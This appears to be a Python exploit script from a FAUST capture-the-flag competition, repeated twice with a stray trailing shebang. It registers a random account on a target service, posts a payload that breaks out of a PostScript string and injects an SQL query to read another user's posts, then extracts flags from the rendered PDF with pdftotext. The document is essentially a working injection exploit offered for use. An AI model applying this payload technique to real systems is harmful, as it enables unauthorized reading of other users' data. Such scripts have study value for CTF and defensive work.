#!/usr/bin/python3

import requests
import subprocess
import sys
import os
import random
import binascii


class Username:
    def __init__(self):
        first = random.choice(['John',
                               'Jane',
                               'Alice',
                               'Bob',
                               'Carol',
                               'Dave',
                               'Eve'
            ])
        second = random.choice(['Doe',
                                'Duck'
            ])
        nonce = binascii.hexlify(os.urandom(4)).decode()

        self._name = "%s-%s-%s" % (first, second, nonce)


    def __str__(self):
        return self._name



class Password:
    def __init__(self):
        self._password = binascii.hexlify(os.urandom(16)).decode()


    def __str__(self):
        return self._password

    


def post(ip, session, post, receiver=[]):
    with open(os.path.join(os.path.dirname(__file__), 'post.fdf'), 'r') as fdf:
        template = fdf.read()
        fdfdata = template.format(host=ip, post=post, receiver=','.join(receiver))
        session.post('http://%s:5001/post.cgi' % ip, data=fdfdata)


def register(ip, session):
    with open(os.path.join(os.path.dirname(__file__), 'login.fdf'), 'r') as fdf:
        template = fdf.read()
        username = Username()
        password = Password()
        fdfdata = template.format(host=ip, username=username, password=password)
        session.post('http://%s:5001/register.cgi' % ip, data=fdfdata)
        return username, password


def login(ip, session, username, password):
    with open(os.path.join(os.path.dirname(__file__), 'login.fdf'), 'r') as fdf:
        template = fdf.read()
        fdfdata = template.format(host=ip, username=username, password=password)
        session.post('http://%s:5001/login.cgi' % ip, data=fdfdata)

    

def main(ip, flagid):
    session = requests.session()
    username, password = register(ip, session)
    login(ip, session, username, password)
    exploit = r'\) \(SELECT post FROM post_table INNER JOIN user_table USING \\(user_id\\) WHERE username = $$%s$$\) sqlgetrow show showpage quit' % flagid
    post(ip, session, exploit)

    r = session.get('http://%s:5001/index.cgi' % ip)
    s = subprocess.Popen(['pdftotext', '-', '-'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    s.stdin.write(r.content)
    s.stdin.close()
    lines = [ i.strip().decode() for i in s.stdout.readlines() ]

    for line in lines:
        if line.startswith('FAUST'):
            print(line)


if __name__ == '__main__':
    main(sys.argv[1], sys.argv[2])

#!/usr/bin/python3

import requests
import subprocess
import sys
import os
import random
import binascii


class Username:
    def __init__(self):
        first = random.choice(['John',
                               'Jane',
                               'Alice',
                               'Bob',
                               'Carol',
                               'Dave',
                               'Eve'
            ])
        second = random.choice(['Doe',
                                'Duck'
            ])
        nonce = binascii.hexlify(os.urandom(4)).decode()

        self._name = "%s-%s-%s" % (first, second, nonce)


    def __str__(self):
        return self._name



class Password:
    def __init__(self):
        self._password = binascii.hexlify(os.urandom(16)).decode()


    def __str__(self):
        return self._password

    


def post(ip, session, post, receiver=[]):
    with open(os.path.join(os.path.dirname(__file__), 'post.fdf'), 'r') as fdf:
        template = fdf.read()
        fdfdata = template.format(host=ip, post=post, receiver=','.join(receiver))
        session.post('http://%s:5001/post.cgi' % ip, data=fdfdata)


def register(ip, session):
    with open(os.path.join(os.path.dirname(__file__), 'login.fdf'), 'r') as fdf:
        template = fdf.read()
        username = Username()
        password = Password()
        fdfdata = template.format(host=ip, username=username, password=password)
        session.post('http://%s:5001/register.cgi' % ip, data=fdfdata)
        return username, password


def login(ip, session, username, password):
    with open(os.path.join(os.path.dirname(__file__), 'login.fdf'), 'r') as fdf:
        template = fdf.read()
        fdfdata = template.format(host=ip, username=username, password=password)
        session.post('http://%s:5001/login.cgi' % ip, data=fdfdata)

    

def main(ip, flagid):
    session = requests.session()
    username, password = register(ip, session)
    login(ip, session, username, password)
    exploit = r'\) \(SELECT post FROM post_table INNER JOIN user_table USING \\(user_id\\) WHERE username = $$%s$$\) sqlgetrow show showpage quit' % flagid
    post(ip, session, exploit)

    r = session.get('http://%s:5001/index.cgi' % ip)
    s = subprocess.Popen(['pdftotext', '-', '-'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    s.stdin.write(r.content)
    s.stdin.close()
    lines = [ i.strip().decode() for i in s.stdout.readlines() ]

    for line in lines:
        if line.startswith('FAUST'):
            print(line)


if __name__ == '__main__':
    main(sys.argv[1], sys.argv[2])

#!/usr/bin/python3